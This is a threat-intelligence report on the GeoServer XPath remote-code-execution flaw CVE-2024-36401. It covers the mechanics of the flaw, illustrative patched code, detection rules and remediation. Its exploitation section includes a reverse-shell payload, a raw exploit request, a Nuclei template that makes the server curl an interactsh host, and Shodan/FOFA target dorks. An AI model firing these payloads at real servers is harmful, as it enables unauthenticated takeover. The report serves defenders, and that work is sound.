CVE-2024-36401

Executive Summary

CVE-2024-36401 is a critical unauthenticated Remote Code Execution (RCE) vulnerability affecting GeoServer, an open-source server for sharing and editing geospatial data. The flaw resides in the GeoTools library, where property/attribute names for feature types are unsafely evaluated as XPath expressions using the commons-jxpath library. This allows an unauthenticated attacker to execute arbitrary code on a default GeoServer installation by sending specially crafted requests to multiple OGC (Open Geospatial Consortium) endpoints, including WFS GetFeature, WFS GetPropertyValue, WMS GetMap, WMS GetFeatureInfo, WMS GetLegendGraphic, and WPS Execute. The vulnerability is trivial to exploit, with public proof-of-concept (PoC) code available, and has a CVSS score of 9.8 (Critical). Immediate patching or application of the workaround is strongly recommended.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – Full system compromise possible.
• Integrity Impact: High (I:H) – Arbitrary code execution.
• Availability Impact: High (A:H) – Potential denial of service or full control.

Deep Dive & Mechanics

The vulnerability originates from the GeoTools library, specifically the gt-complex module, which is used to handle complex feature types (Application Schema data stores). The library unsafely passes user-supplied property/attribute names to the Apache commons-jxpath library for XPath evaluation. The commons-jxpath library supports arbitrary Java code execution through XPath expressions, such as exec(java.lang.Runtime.getRuntime(), 'command'). This XPath evaluation was intended only for complex feature types but is incorrectly applied to all feature types, making every default GeoServer installation vulnerable.

The attack flow is as follows:

1. An attacker sends a crafted request to a GeoServer OGC endpoint (e.g., WFS GetPropertyValue).
2. The request includes a valueReference parameter containing a malicious XPath expression.
3. GeoServer passes this parameter to the GeoTools library, which evaluates it using commons-jxpath.
4. The XPath expression executes arbitrary Java code, allowing the attacker to run system commands.

The vulnerability is particularly dangerous because it requires no authentication and can be triggered via multiple OGC endpoints, increasing the attack surface.

Vulnerable vs. Patched Code

Vulnerable Code (GeoTools library): The vulnerable code is in the gt-complex module, where property names are passed directly to commons-jxpath for evaluation without sanitization. The exact vulnerable function is in the org.geotools.filter.expression package, where XPath expressions are evaluated on user-supplied input.

// Vulnerable: Unsafe XPath evaluation
Object result = JXPathContext.newContext(feature).getValue(propertyName);

Patched Code: The patch restricts XPath evaluation to only complex feature types (Application Schema data stores) and adds input validation to prevent arbitrary code execution. The patched code checks the feature type before evaluating the XPath expression.

// Patched: Only evaluate XPath for complex feature types
if (featureType instanceof ComplexFeatureType) {
    Object result = JXPathContext.newContext(feature).getValue(propertyName);
} else {
    // Use safe property access for simple feature types
    Object result = feature.getProperty(propertyName).getValue();
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A vulnerable GeoServer instance (version < 2.22.6, < 2.23.6, < 2.24.4, or < 2.25.2).
• Network access to the GeoServer OGC endpoints.

Exploitation Steps:

1. Identify a vulnerable GeoServer: Use Shodan or FOFA with the dorks provided.
2. Enumerate available feature types: Send a request to the WFS GetCapabilities endpoint to list feature types.
3. Craft the exploit payload: Use the valueReference parameter with a malicious XPath expression. For example, to execute a reverse shell:

   exec(java.lang.Runtime.getRuntime(), 'bash -c {echo,base64_encoded_rev_shell}|{base64,-d}|{bash,-i}')
   

4. Send the exploit request: Use the WFS GetPropertyValue endpoint:

   GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=<feature_type>&valueReference=exec(java.lang.Runtime.getRuntime(),'<command>') HTTP/1.1
   Host: <target>
   

5. Verify execution: Check for outbound connections or command output.

Nuclei Template (Provided): The following Nuclei template automates the exploitation process. It first extracts a feature type name from the MapPreviewPage, then sends the malicious request to the WFS endpoint.

id: CVE-2024-36401

info:
  name: GeoServer RCE in Evaluating Property Name Expressions
  author: DhiyaneshDk,ryanborum
  severity: critical
  description: |
    In the GeoServer version prior to 2.25.1, 2.24.3 and 2.23.5 of GeoServer, multiple OGC request parameters allow Remote Code Execution (RCE) by unauthenticated users through specially crafted input against a default GeoServer installation due to unsafely evaluating property names as XPath expressions.
  remediation: |
    Apply the latest security patches and updates from the vendor to address this vulnerability.
  impact: |
    This vulnerability can lead to executing arbitrary code.
  reference:
    - https://x.com/sirifu4k1/status/1808270303275241607
    - https://nvd.nist.gov/vuln/detail/CVE-2024-36401
    - https://github.com/vulhub/vulhub/tree/master/geoserver/CVE-2024-36401
    - https://github.com/advisories/GHSA-6jj6-gm7p-fcvv
  classification:
    epss-score: 0.94425
    epss-percentile: 0.99982
  metadata:
    verified: true
    max-request: 1
    vendor: osgeo
    product: geoserver
    shodan-query: "Server: GeoHttpServer"
    fofa-query:
      - title="geoserver"
      - app="geoserver"
    google-query: intitle:"geoserver"
  tags: cve,cve2024,geoserver,rce,unauth,kev,vkev,vuln

flow: |
   if(http(1))
   {
   set("name",template.typename[0])
   http(2)
   }

http:
  - raw:
      - |
        GET /geoserver/web/wicket/bookmarkable/org.geoserver.web.demo.MapPreviewPage HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    extractors:
      - type: regex
        name: typename
        part: body
        group: 1
        regex:
          - typeName=([^&\]]+)
        internal: true

  - raw:
      - |
        @timeout 20s
        GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames={{name}}&valueReference=exec(java.lang.Runtime.getRuntime(),'curl+{{interactsh-url}}') HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: content_type
        words:
          - "application/xml"

Blue Team (Detection & Defense)

Detection:

• Monitor for requests to OGC endpoints (e.g., /geoserver/wfs, /geoserver/wms, /geoserver/wps) containing suspicious valueReference parameters with XPath expressions like exec(, java.lang.Runtime, or Runtime.getRuntime().
• Look for outbound connections from the GeoServer server to unknown IPs or domains (e.g., interactsh, C2 servers).
• Use the provided Sigma and Suricata rules for automated detection.

Defense:

• Immediately apply the patch by upgrading to a fixed version (2.22.6, 2.23.6, 2.24.4, or 2.25.2).
• If patching is not possible, remove the gt-complex-x.y.jar file from the GeoServer installation directory (e.g., gt-complex-31.1.jar). Note that this may break functionality for complex feature types.
• Restrict network access to GeoServer OGC endpoints using firewalls or WAF rules.
• Implement input validation and sanitization for all OGC request parameters.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /geoserver/wfs, /geoserver/wms, or /geoserver/wps with valueReference parameter containing exec(, java.lang.Runtime, or Runtime.getRuntime().
  • Outbound connections to interactsh servers or unknown IPs on common ports (80, 443, 4444, etc.).
• File IOCs:
  • Presence of the gt-complex-x.y.jar file in the GeoServer WEB-INF/lib directory.
• Log IOCs:
  • GeoServer logs showing errors related to XPath evaluation or JXPathContext.
  • System logs showing execution of unexpected commands (e.g., curl, wget, bash).

Detection Engineering

YARA Rule

rule CVE_2024_36401_GeoServer_RCE {
    meta:
        description = "Detects malicious XPath expressions targeting CVE-2024-36401 in GeoServer logs or network traffic"
        author = "Valters IT"
        date = "2024-07-01"
        severity = "critical"
    strings:
        $xpath1 = "exec(java.lang.Runtime.getRuntime()" ascii wide nocase
        $xpath2 = "Runtime.getRuntime()" ascii wide nocase
        $xpath3 = "valueReference=" ascii wide nocase
        $xpath4 = "exec(" ascii wide nocase
    condition:
        any of ($xpath*) and #xpath3 > 0
}

Sigma Rule

title: CVE-2024-36401 GeoServer RCE Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests to GeoServer OGC endpoints with malicious XPath expressions
author: Valters IT
date: 2024-07-01
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - "valueReference=exec(java.lang.Runtime.getRuntime()"
            - "valueReference=Runtime.getRuntime()"
            - "valueReference=exec("
    condition: selection
falsepositives:
    - Legitimate use of XPath expressions in complex feature types (rare)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-36401 GeoServer RCE Attempt"; flow:to_server,established; content:"/geoserver/"; http_uri; content:"valueReference="; http_uri; content:"exec("; http_uri; content:"Runtime.getRuntime()"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade GeoServer to version 2.22.6, 2.23.6, 2.24.4, or 2.25.2.
2. Workaround: If patching is not possible, remove the gt-complex-x.y.jar file from the GeoServer WEB-INF/lib directory. This will disable the vulnerable code but may break functionality for complex feature types.
3. Network Segmentation: Restrict access to GeoServer OGC endpoints to trusted IPs only.
4. WAF Rules: Deploy Web Application Firewall rules to block requests containing valueReference=exec( or Runtime.getRuntime().

Long-term Measures:

• Implement a vulnerability management program to ensure timely patching.
• Monitor for new CVEs affecting GeoServer and GeoTools.
• Conduct regular security assessments and penetration testing.

Valters IT Signature

This report was generated by Valters IT, an elite DevSecOps and Cyber Threat Intelligence team. For further assistance, contact us at valters@example.com.

{/* [Security Hash: EE26B86EEC1B36E056E2D6A1] */}